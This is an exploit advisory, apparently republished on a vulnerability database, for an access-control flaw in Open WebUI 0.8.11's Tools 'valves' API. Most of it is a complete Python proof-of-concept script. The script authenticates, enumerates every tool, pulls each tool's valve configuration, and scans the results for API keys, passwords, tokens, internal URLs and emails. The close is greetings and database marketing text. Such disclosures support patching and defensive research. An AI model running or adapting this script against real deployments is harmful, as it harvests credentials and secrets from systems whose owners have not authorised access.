==================================================================================================================================
| # Title : Open WebUI 0.8.11 Improper Access Control in Tools Valves API Leads to Exposure of Sensitive Configuration Data |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://github.com/open-webui/open-webui |
==================================================================================================================================
[+] Summary : A potential access control issue was identified in Open WebUI where the Tools API and associated “valves” endpoints may expose sensitive configuration data when accessed with valid authentication tokens.
The affected endpoints allow retrieval of tool metadata and configuration structures that may include secrets such as API keys, passwords, tokens, endpoints, and internal service URLs.
[+] POC :
#!/usr/bin/env python3
import requests
import json
import sys
import argparse
from typing import Dict, List, Optional
from urllib.parse import urljoin
class OpenWebUIExploit:
def __init__(self, base_url: str, token: str, verbose: bool = False):
self.base_url = base_url.rstrip('/')
self.token = token
self.verbose = verbose
self.session = requests.Session()
self.session.headers.update({
'Authorization': f'Bearer {token}',
'Content-Type': 'application/json'
})
def log(self, message: str, level: str = "INFO"):
if not self.verbose and level == "DEBUG":
return
colors = {
"INFO": "\033[94m",
"SUCCESS": "\033[92m",
"ERROR": "\033[91m",
"WARNING": "\033[93m",
"DEBUG": "\033[90m"
}
print(f"{colors.get(level, '')}[{level}] {message}\033[0m")
def get_all_tools(self) -> List[Dict]:
try:
url = urljoin(self.base_url, '/api/v1/tools/')
response = self.session.get(url)
if response.status_code == 200:
try:
tools = response.json()
if isinstance(tools, dict):
tools = tools.get("data", [])
self.log(f"Found {len(tools)} tools", "SUCCESS")
return tools
except:
self.log("Invalid JSON response", "ERROR")
return []
else:
self.log(f"Failed to get tools: {response.status_code}", "ERROR")
return []
except Exception as e:
self.log(f"Error getting tools: {e}", "ERROR")
return []
def get_tool_valves(self, tool_id: str) -> Optional[Dict]:
try:
url = urljoin(self.base_url, f'/api/v1/tools/id/{tool_id}/valves')
response = self.session.get(url)
if response.status_code == 200:
try:
valves = response.json()
self.log(f"Extracted valves for: {tool_id}", "SUCCESS")
return valves
except:
self.log("Invalid valves JSON", "ERROR")
return None
elif response.status_code == 404:
self.log(f"Tool not found: {tool_id}", "WARNING")
return None
else:
self.log(f"Failed valves request: {response.status_code}", "ERROR")
return None
except Exception as e:
self.log(f"Error getting valves: {e}", "ERROR")
return None
def extract_sensitive_data(self, valves: Dict) -> Dict:
sensitive = {
"api_keys": [],
"passwords": [],
"tokens": [],
"secrets": [],
"urls": [],
"emails": []
}
api_key_patterns = ['api_key', 'apikey', 'api-key', 'apiKey']
password_patterns = ['password', 'pass', 'pwd', 'secret']
url_patterns = ['url', 'endpoint', 'host', 'server']
email_patterns = ['email', 'user']
def scan_value(key: str, value, depth=0):
if depth > 10:
return
key_lower = str(key).lower()
if isinstance(value, str):
if any(p in key_lower for p in api_key_patterns):
sensitive["api_keys"].append({key: value})
if any(p in key_lower for p in password_patterns):
sensitive["passwords"].append({key: value})
if any(p in key_lower for p in url_patterns) and "http" in value:
sensitive["urls"].append({key: value})
if any(p in key_lower for p in email_patterns) and "@" in value:
sensitive["emails"].append({key: value})
elif isinstance(value, dict):
for k, v in value.items():
scan_value(k, v, depth + 1)
elif isinstance(value, list):
for i, item in enumerate(value):
scan_value(str(i), item, depth + 1)
for k, v in valves.items():
scan_value(k, v)
return sensitive
def exploit(self, tool_id: Optional[str] = None) -> Dict:
results = {
"success": False,
"tools_examined": [],
"sensitive_data": []
}
if tool_id:
valves = self.get_tool_valves(tool_id)
if valves:
sensitive = self.extract_sensitive_data(valves)
results["tools_examined"].append(tool_id)
results["sensitive_data"].append({
"tool_id": tool_id,
"valves": valves,
"sensitive": sensitive
})
if any(sensitive.values()):
results["success"] = True
else:
tools = self.get_all_tools()
if not tools:
self.log("No tools found", "WARNING")
return results
for tool in tools:
tool_id = tool.get('id')
tool_name = tool.get('name', 'Unknown')
if not tool_id:
continue
valves = self.get_tool_valves(tool_id)
if not valves:
continue
sensitive = self.extract_sensitive_data(valves)
results["tools_examined"].append(tool_id)
results["sensitive_data"].append({
"tool_id": tool_id,
"tool_name": tool_name,
"valves": valves,
"sensitive": sensitive
})
if any(sensitive.values()):
results["success"] = True
self.log(f"Sensitive data found in {tool_name}", "WARNING")
return results
def print_results(results: Dict):
print("\n" + "=" * 70)
print("RESULTS")
print("=" * 70)
if not results["success"]:
print("\n[-] No sensitive data found")
return
for item in results["sensitive_data"]:
print("\n" + "-" * 50)
print(f"Tool: {item.get('tool_name', item.get('tool_id'))}")
sensitive = item.get("sensitive", {})
for key, values in sensitive.items():
if values:
print(f"\n[!] {key.upper()}:")
for v in values:
print(f" {v}")
print("\n" + "=" * 70)
def get_token_from_login(base_url: str, email: str, password: str) -> Optional[str]:
try:
url = urljoin(base_url, '/api/v1/auths/signin')
r = requests.post(url, json={"email": email, "password": password})
if r.status_code == 200:
return r.json().get("token")
except:
pass
return None
def main():
parser = argparse.ArgumentParser()
parser.add_argument('-u', '--url', required=True)
parser.add_argument('-t', '--token')
parser.add_argument('-e', '--email')
parser.add_argument('-p', '--password')
parser.add_argument('-i', '--tool-id')
parser.add_argument('-v', '--verbose', action='store_true')
args = parser.parse_args()
token = args.token
if not token and args.email and args.password:
token = get_token_from_login(args.url, args.email, args.password)
if not token:
print("[-] No token provided")
sys.exit(1)
exploit = OpenWebUIExploit(args.url, token, args.verbose)
results = exploit.exploit(args.tool_id)
print_results(results)
if __name__ == "__main__":
main()
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation